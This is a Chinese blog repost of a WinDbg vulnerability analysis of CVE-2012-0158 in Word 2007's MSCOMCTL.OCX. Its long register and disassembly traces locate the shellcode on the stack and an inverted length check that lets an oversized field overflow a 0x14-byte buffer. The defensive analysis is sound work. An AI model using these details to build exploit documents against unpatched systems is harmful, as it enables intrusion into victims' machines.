日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2012-0158 MSCOMCTL控件漏洞分析

發布時間:2023/12/31 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2012-0158 MSCOMCTL控件漏洞分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

CVE-2012-0158 MSCOMCTL控件漏洞分析

作者:chence????? 時間:27/4/2012

?轉載請注明出處。看雪鏈接:http://bbs.pediy.com/showthread.php?t=149957

分析環境:windows xp sp2word 2007版本:12.0.4518.1014

?

本次調試采用Windbg,原因有二:

1.??????用OD或者ImunityDBG調試office漏洞很卡,還經常運行的時候WORD點擊沒反應。有時還會出現一些奇怪的違反訪問錯誤。這樣你在調試時,可能調試了半天,漏洞卻還沒觸發,卻碰到一大堆的違反訪問,程序沒奔潰,你已經奔潰了···

2.??????WinDBG執行效率高,還會記錄執行的路徑,并且有強大的腳本做后盾,一些指令很好用哦,呵呵。

?

Windbg附加Winword進程,給GetFileSize(這個函數是這種惡意文檔釋放木馬和正常文檔必調的一個函數)下斷點。每次中斷,你都用kb指令看下調用路徑,如果發現調用路徑不正常,則本次調用就處于shellocde當中。經過幾次的中斷之后,發現了蹤跡,如下圖所示:

0:000> kb

ChildEBPRetAddr? Args to Child?????????????

0012245800122773 00000001 00122498 275c8b91 kernel32!GetFileSize

WARNING: FrameIP not in any known module. Following frames may be wrong.

001224a000122519 1005c48b c7000001 4d032400 0x122773

00000000 0000000000000000 00000000 00000000 0x122519

?

gu執行至返回再單步,你就處于shellocde的包圍圈了。

001227608d45f8????????? lea???? eax,[ebp-8]

00122763 50????????????? push??? eax

00122764ff75fc????????? push??? dword ptr [ebp-4]

00122767e8bcfdffff????? call??? 00122528

0012276c050d000000????? add???? eax,0Dh

00122771ff10? ????????call dword ptr [eax]ds:0023:001224c7={kernel32!GetFileSize (7c810c8f)}

001227738945f4????????? mov???? dword ptr [ebp-0Ch],eax

0012277683f8ff????????? cmp????eax,0FFFFFFFFh

001227797507????? ??????jne????00122782

0012277be9be010000????? jmp???? 0012293e

00122780eb0b??????????? jmp???? 0012278d

?

看下該段代碼處于那段空間:

0:000>!address eip

??? 00030000 : 00114000 - 0001c000

??????????????????? Type???? 00020000 MEM_PRIVATE

??????????????????? Protect? 00000004 PAGE_READWRITE

??????????????????? State??? 00001000 MEM_COMMIT

??????????????????? Usage??? RegionUsageStack

??????????????????? Pid.Tid? 5ac.7cc

很明顯shellocde處于棧中,內存屬性為PAGE_READWRITE(如果打開DEP,估計就執行不了了)

先不細看shellocdeshellocde的開始位置始于:0x12253d。根據網上已知的資料,知道是MSCOMCTL.OCX控件的問題,故設置一個加載斷點:

sxe ld MSCOMCTL.OCX

在此處中斷后,應該離觸發不遠了。單步執行至加載處,再下GetFileSize的斷點,加個路障,防止調試器把shellocde一步執行完了。

不斷的F10,大概30步后,WINDBG離奇地中斷在GetFileSize了,這時kb一下,發現已經執行到了shellcode了。馬上到CMD窗口代碼堆里找最近的函數:

wwlib!DllCanUnloadNow+0x3145b9:

31e028fbff732c????????? push??? dword ptr [ebx+2Ch]? ds:0023:06ba3dec=083d0670

0:000> p

eax=001ef34cebx=06ba3dc0 ecx=27582c70 edx=001ef2f8 esi=00000000 edi=06973e08

eip=31e028feesp=001225b0 ebp=00122658 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

wwlib!DllCanUnloadNow+0x3145bc:

31e028fe8b08??????????? mov???? ecx,dword ptr [eax]? ds:0023:001ef34c=2759d668

0:000> p

eax=001ef34cebx=06ba3dc0 ecx=2759d668 edx=001ef2f8 esi=00000000 edi=06973e08

eip=31e02900esp=001225b0 ebp=00122658 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

wwlib!DllCanUnloadNow+0x3145be:

31e02900 50????????????? push??? eax

0:000> p

eax=001ef34c ebx=06ba3dc0ecx=2759d668 edx=001ef2f8 esi=00000000 edi=06973e08

eip=31e02901esp=001225ac ebp=00122658 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

wwlib!DllCanUnloadNow+0x3145bf:

31e02901ff5118????????? call??? dword ptr [ecx+18h]? ds:0023:2759d680=27600cea

0:000> p

Breakpoint 0 hit

eax=001224c7ebx=083d0810 ecx=7c801bf6 edx=00000165 esi=001224ff edi=0012250b

eip=7c810c8fesp=0012245c ebp=001224a0 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

kernel32!GetFileSize:

7c810c8f8bff??????????? mov???? edi,edi

發現最近調用的那個函數是:

wwlib!DllCanUnloadNow+0x3145bf:

31e02901ff5118????????? call??? dword ptr [ecx+18h]? ds:0023:2759d680=27600cea

就是因為PASS這個函數導致了shellcode的執行。再看看其屬于哪個模塊

0:000> lm

start??? end???????module name

0302000003093000?? Resource?? (deferred)????????????

10000000102a6000?? SOGOUPY??? (deferred)????????????

1100000011050000?? SYMINPUT?? (deferred)????????????

2000000020549000?? xpsp2res?? (deferred)????????????

27580000 27686000??MSCOMCTL??(export symbols)??????C:\WINDOWS\system32\MSCOMCTL.OCX

3000000030057000?? WINWORD??? (export symbols)?????? C:\Program Files\MicrosoftOffice\Office12\WINWORD.EXE

31240000322ec000?? wwlib????? (export symbols)?????? C:\Program Files\MicrosoftOffice\Office12\wwlib.dll

果然屬于MSCOMCTL.OCX控件空間。

下一步就是在該函數下斷點。成功在該地址中斷后,一步步跟下來:

看下此時的棧調用路徑:

0:000> kb l4

ChildEBPRetAddr? Args to Child?????????????

WARNING: Stackunwind information not available. Following frames may be wrong.

001225a431e02904 001efbf4 083e0670 00000000 MSCOMCTL!DllUnregisterServer+0xc07

0012265831772877 06c04c80 00000000 06c04c80 wwlib!DllCanUnloadNow+0x3145c2

0012270c3173a003 06c04c80 00000000 00000000 wwlib!wdCommandDispatch+0x151602

正常,繼續單步。走了幾步之后跳到了shellcode當中去了:

MSCOMCTL!DllUnregisterServer+0xc30:

27600d138b08??????????? mov???? ecx,dword ptr [eax]? ds:0023:001efbf0=2759d690

0:000> p

eax=001efbf0ebx=06c04c80 ecx=2759d690 edx=00000000 esi=00000000 edi=079f3d48

eip=27600d15esp=0012259c ebp=001225a4 iopl=0????????nv up ei pl nz ac pe cy

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000217

MSCOMCTL!DllUnregisterServer+0xc32:

27600d15 50????????????? push??? eax

0:000> p

eax=001efbf0ebx=06c04c80 ecx=2759d690 edx=00000000 esi=00000000 edi=079f3d48

eip=27600d16esp=00122598 ebp=001225a4 iopl=0????????nv up ei pl nz ac pe cy

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000217

MSCOMCTL!DllUnregisterServer+0xc33:

27600d16 ff5114?????????call??? dword ptr [ecx+14h]? ds:0023:2759d6a4=275c1284

0:000> p

Breakpoint 0 hit

eax=001224c7ebx=083e0810 ecx=7c801bf6 edx=00000165 esi=001224ff edi=0012250b

eip=7c810c8fesp=0012245c ebp=001224a0 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

kernel32!GetFileSize:

7c810c8f8bff??????????? mov???? edi,edi

0:000> p

eax=001224c7 ebx=083e0810ecx=7c801bf6 edx=00000165 esi=001224ff edi=0012250b

eip=7c810c91esp=0012245c ebp=001224a0 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

0:000> kb

ChildEBPRetAddr? Args to Child?????????????

WARNING: Stackunwind information not available. Following frames may be wrong.

0012245800122773 00000001 00122498 275c8b91 kernel32!GetFileSize+0x3

001224a000122519 1005c48b c7000001 4d032400 0x122773

0000000000000000 00000000 00000000 00000000 0x122519

繼續跟蹤函數275c1284(MSCOMCTL!DllGetClassObject+0x3324b)。離成功不遠了,堅持下去。

所下斷點如下:

0:000> bl

?0 e 7c810c8f???? 0001 (0001)? 0:**** kernel32!GetFileSize

?1 e 7c86114d???? 0001 (0001)? 0:**** kernel32!WinExec

?2 e 317d225f???? 0001 (0001)? 0:**** wwlib!wdCommandDispatch+0x1b0fea

?3 e 27600cea???? 0001 (0001)? 0:**** MSCOMCTL!DllUnregisterServer+0xc07

?4 e 275c1284???? 0001 (0001)? 0:**** MSCOMCTL!DllGetClassObject+0x3324b

?5 e 2758fa7d???? 0001 (0001)? 0:**** MSCOMCTL!DllGetClassObject+0x1a44

?6 e 275c12bc???? 0001 (0001)? 0:**** MSCOMCTL!DllGetClassObject+0x33283

?7 e 275e76d4???? 0001 (0001)? 0:**** MSCOMCTL!DLLGetDocumentation+0xf9a

?8 e 275e776f???? 0001 (0001)? 0:**** MSCOMCTL!DLLGetDocumentation+0x1035

?9 e 275e7426????0001 (0001)? 0:**** MSCOMCTL!DLLGetDocumentation+0xcec

最后的調用嵌套關系為:

MSCOMCTL!DllUnregisterServer+0xc07;

MSCOMCTL!DllGetClassObject+0x3324b;

?MSCOMCTL!DllGetClassObject+0x33270:

275c12a9 ?e8cfe7fcff????? call???MSCOMCTL!DllGetClassObject+0x1a44 (2758fa7d)

??????????????????????????? MSCOMCTL!DllGetClassObject+0x1a62:

2758fa9b ?ff5038????????? call??? dword ptr [eax+38h]? ds:0023:2759d840=275c12bc

???????????????????????????????????? MSCOMCTL!DllGetClassObject+0x3c612:

275ca64b ?ff5114????? call ???dword ptr [ecx+14h]? ds:0023:2759dc54=275e76d4

?????????????????????????????????????????????? MSCOMCTL!DLLGetDocumentation+0x1035:

275e776f ?ff5114?????call??? dword ptr [ecx+14h]? ds:0023:275c1724=275e7415MSCOMCTL!DLLGetDocumentation+0xcdb

??????????????????????????????????????????????????????? MSCOMCTL!DLLGetDocumentation+0xcec:

275e7426 ?e82317feff? ?call ?MSCOMCTL!DllGetClassObject+0x3ab15

跟進這個函數,發現執行至函數末尾后,棧里的數據就被破壞得一塌糊涂了。下面一下來看下MSCOMCTL!DllGetClassObject+0x3ab15:(外圍函數,且稱之為A)函數的流程:

275c8b4e 55????????????? push??? ebp

調用棧:

0:000> kb l4

ChildEBPRetAddr? Args to Child?????????????

WARNING: Stackunwind information not available. Following frames may be wrong.

00122498275e742b 001a120c 08150810 00000000 MSCOMCTL!DllGetClassObject+0x3ab15

001224c0275e7772 001a120c 08150810 08150810 MSCOMCTL!DLLGetDocumentation+0xcf1

001224e0 275ca64e001a1658 08150810 001a14b0 MSCOMCTL!DLLGetDocumentation+0x1038

001225602758fa9e 001a1460 00000000 08150810 MSCOMCTL!DllGetClassObject+0x3c615

0:000> p

eax=001a120cebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000

eip=275c8b4fesp=00122498 ebp=001224c0 iopl=0????????nv up ei pl nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000216

MSCOMCTL!DllGetClassObject+0x3ab16:

275c8b4f8bec??????????? mov???? ebp,esp

0:000> p

eax=001a120cebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000

eip=275c8b51esp=00122498 ebp=00122498 iopl=0????????nv up ei pl nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000216

MSCOMCTL!DllGetClassObject+0x3ab18:

275c8b51 83ec14?????????sub????esp,14h //只開辟了14h大小的棧空間

0:000> p

eax=001a120cebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000

eip=275c8b54esp=00122484 ebp=00122498 iopl=0????????nv up ei pl nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000206

MSCOMCTL!DllGetClassObject+0x3ab21:

275c8b5a6a0c??????????? push??? 0Ch

0:000> p

eax=001a120cebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000

eip=275c8b5cesp=00122474 ebp=00122498 iopl=0????????nv up ei pl nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000206

MSCOMCTL!DllGetClassObject+0x3ab23:

275c8b5c8d45ec????????? lea???? eax,[ebp-14h]

0:000> p

eax=00122484ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000

eip=275c8b5fesp=00122474 ebp=00122498 iopl=0????????nv up ei pl nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000206

MSCOMCTL!DllGetClassObject+0x3ab26:

275c8b5f 53????????????? push??? ebx

0:000> p

eax=00122484ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000

eip=275c8b60esp=00122470 ebp=00122498 iopl=0????????nv up ei pl nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000206

MSCOMCTL!DllGetClassObject+0x3ab27:

275c8b60 50????????????? push??? eax

0:000> p

eax=00122484ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000

eip=275c8b61esp=0012246c ebp=00122498 iopl=0????????nv up ei pl nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000206

MSCOMCTL!DllGetClassObject+0x3ab28:

275c8b61 e88efdffff?????call???MSCOMCTL!DllGetClassObject+0x3a8bb (275c88f4)//第一次調用

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b66 esp=0012246cebp=00122498 iopl=0???????? nv up ei ngnz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000296

MSCOMCTL!DllGetClassObject+0x3ab2d:

275c8b6683c40c????????? add???? esp,0Ch

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b69esp=00122478 ebp=00122498 iopl=0????????nv up ei pl nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000216

MSCOMCTL!DllGetClassObject+0x3ab30:

275c8b69 85c0 ???????????test??? eax,eax

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b6besp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000??????????? ?efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab32:

275c8b6b7c6c??????????? jl????? MSCOMCTL!DllGetClassObject+0x3aba0(275c8bd9) [br=0]

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b6desp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab34:

275c8b6d817dec436f626a? cmp???? dword ptr [ebp-14h],6A626F43hss:0023:00122484=6a626f43

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b74esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab3b:

275c8b740f85f9a20000??? jne???? MSCOMCTL!DllGetClassObject+0x44e3a(275d2e73) [br=0]

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b7aesp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab41:

275c8b7a 837df408???????cmp????dword ptr [ebp-0Ch],8 ss:0023:0012248c=00008282

?0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b7eesp=00122478 ebp=00122498 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3ab45:

275c8b7e 0f82efa20000???jb?????MSCOMCTL!DllGetClassObject+0x44e3a (275d2e73) [br=0]// 第二個參數與8比較,小于則結束。這句話直接導致了漏洞的發生,應該是程序員不小心犯了一個錯誤,本來應該是大于8則結束

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b84esp=00122478 ebp=00122498 iopl=0?? ??????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3ab4b:

275c8b84ff75f4????????? push??? dword ptr [ebp-0Ch]? ss:0023:0012248c=00008282

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b87esp=00122474 ebp=00122498 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3ab4e:

275c8b87 8d45f8????????? lea???? eax,[ebp-8]

0:000> p

eax=00122490ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b8aesp=00122474 ebp=00122498 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000?? ??????????efl=00000212

MSCOMCTL!DllGetClassObject+0x3ab51:

275c8b8a 53????????????? push??? ebx

0:000> p

eax=00122490ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b8besp=00122470 ebp=00122498 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3ab52:

275c8b8b 50????????????? push??? eax

0:000> p

eax=00122490ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b8c esp=0012246cebp=00122498 iopl=0???????? nv up ei plnz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3ab53:

275c8b8c e863fdffff?????call???MSCOMCTL!DllGetClassObject+0x3a8bb (275c88f4)//第二次調用

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8b91esp=0012246c ebp=00122498 iopl=0????????nv up ei ng nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000296

MSCOMCTL!DllGetClassObject+0x3ab58:

275c8b918bf0??????????? mov???? esi,eax

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8b93esp=0012246c ebp=00122498 iopl=0????????nv up ei ng nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000296

MSCOMCTL!DllGetClassObject+0x3ab5a:

275c8b9383c40c????????? add???? esp,0Ch

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8b96esp=00122478 ebp=00122498 iopl=0????????nv up ei pl nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000216

MSCOMCTL!DllGetClassObject+0x3ab5d:

275c8b9685f6??????????? test??? esi,esi

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8b98esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab94:

275c8bcd837dfc00??????? cmp? ???dword ptr [ebp-4],0? ss:0023:00122494=00000000

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090

eip=275c8bd1esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab98:

275c8bd10f85a6a20000??? jne???? MSCOMCTL!DllGetClassObject+0x44e44(275d2e7d) [br=0]

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090

eip=275c8bd7esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab9e:

275c8bd78bc6??????????? mov???? eax,esi

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090

eip=275c8bd9esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba0:

275c8bd9 5f????????????? pop???? edi

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8bdaesp=0012247c ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000??????????? ?efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba1:

275c8bda 5e????????????? pop???? esi

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8bdbesp=00122480 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba2:

275c8bdb 5b????????????? pop???? ebx

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8bdcesp=00122484 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba3:

275c8bdc c9????????????? leave

0:000> p

eax=00000000ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000

eip=275c8bddesp=0012249c ebp=00000000 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba4:

275c8bddc20800????????? ret???? 8

0:000> kb

ChildEBPRetAddr? Args to Child?????????????

WARNING: Stackunwind information not available. Following frames may be wrong.

0000000000000000 00000000 00000000 00000000 MSCOMCTL!DllGetClassObject+0x3aba4

調用了兩次MSCOMCTL!DllGetClassObject+0x3a8bb(275c88f4),且稱之為B

第二次調用函數時壓的三個參數:

0:000> dd espl3

0012246c? 00122490 ?07f80810 ?00008282

第一個參數指向棧內,第二個參數指向一片內存區域,第三個為大小(后面得知)。

下面一起來看看MSCOMCTL!DllGetClassObject+0x3a8bb(275c88f4),函數有點長,整個代碼如下(此處是第二次調用B函數的情形):

//==========================================================================//

275c88f4 55????????????? push??? ebp

0:000> p

eax=00122490ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c88f5esp=00122464 ebp=00122498 iopl=0??????? ?nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3a8bc:

275c88f58bec??????????? mov???? ebp,esp

0:000> p

eax=00122490ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c88f7esp=00122464 ebp=00122464 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3a8be:

275c88f7 51????????????? push??? ecx

0:000> p

eax=00122490ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c88f8esp=00122460 ebp=00122464 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3a8bf:

275c88f8 53????????????? push??? ebx

0:000> p

eax=00122490ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c88f9esp=0012245c ebp=00122464 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3a8c0:

275c88f98b5d0c????????? mov???? ebx,dword ptr [ebp+0Ch]ss:0023:00122470=07f80810

0:000> p

eax=00122490ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c88fc esp=0012245cebp=00122464 iopl=0???????? nv up ei plnz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3a8c3:

275c88fc 56????????????? push??? esi

0:000> db ebx

07f80810? d8 57 99 76 b4 57 99 76-60 57 99 76 48 57 9976? .W.v.W.v`W.vHW.v

07f80820? 28 57 99 76 00 00 00 00-00 00 00 00 00 00 0000? (W.v............

07f80830? 01 00 00 00 2c 08 00 00-f0 05 00 00 48 07 0000? ....,.......H...

07f80840? 80 3b 00 00 a0 3c f8 07-45 58 53 54 01 00 0000? .;...<..EXST....

07f80850? 20 07 00 00 00 00 00 00-28 00 00 00 01 00 0000?? .......(.......

07f80860? 68 02 00 00 00 00 00 00-05 00 00 00 00 00 0000? h...............

07f80870? 00 00 00 00 a0 33 00 00-01 00 00 00 80 3b 0000? .....3.......;..

07f80880? b0 00 00 00 00 00 00 00-d0 58 99 76 b0 58 9976? .........X.v.X.v

0:000> p

eax=00122490ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c88fdesp=00122458 ebp=00122464 iopl=0????????nv up ei pl nz ac po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000212

MSCOMCTL!DllGetClassObject+0x3a8ca:

275c89038d4dfc????????? lea???? ecx,[ebp-4]

0:000> p

eax=769957d8ebx=07f80810 ecx=00122460 edx=00150608 esi=00000000 edi=00000000

eip=275c8906esp=00122450 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8cd:

275c89066a04??????????? push??? 4

0:000> p

eax=769957d8ebx=07f80810 ecx=00122460 edx=00150608 esi=00000000 edi=00000000

eip=275c8908esp=0012244c ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8cf:

275c8908 51????????????? push??? ecx

0:000> p

eax=769957d8ebx=07f80810 ecx=00122460 edx=00150608 esi=00000000 edi=00000000

eip=275c8909esp=00122448 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8d0:

275c8909 53????????????? push??? ebx

0:000> p

eax=769957d8ebx=07f80810 ecx=00122460 edx=00150608 esi=00000000 edi=00000000

eip=275c890aesp=00122444 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8d1:

275c890a ff500c?????????call??? dword ptr [eax+0Ch]? ds:0023:769957e4=769d9f59

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00000000

eip=275c890desp=00122454 ebp=00122464 iopl=0????????nv up ei ng nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000286

MSCOMCTL!DllGetClassObject+0x3a8d4:

275c890d3bc6??????????? cmp???? eax,esi

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00000000

eip=275c890fesp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8d6:

275c890f7c78??????????? jl????? MSCOMCTL!DllGetClassObject+0x3a950(275c8989) [br=0]

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00000000

eip=275c8911esp=00122454 ebp=00122464 iopl=0? ???????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8d8:

275c89118b7d10????????? mov???? edi,dword ptr [ebp+10h]ss:0023:00122474=00008282

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000edi=00008282

eip=275c8914esp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

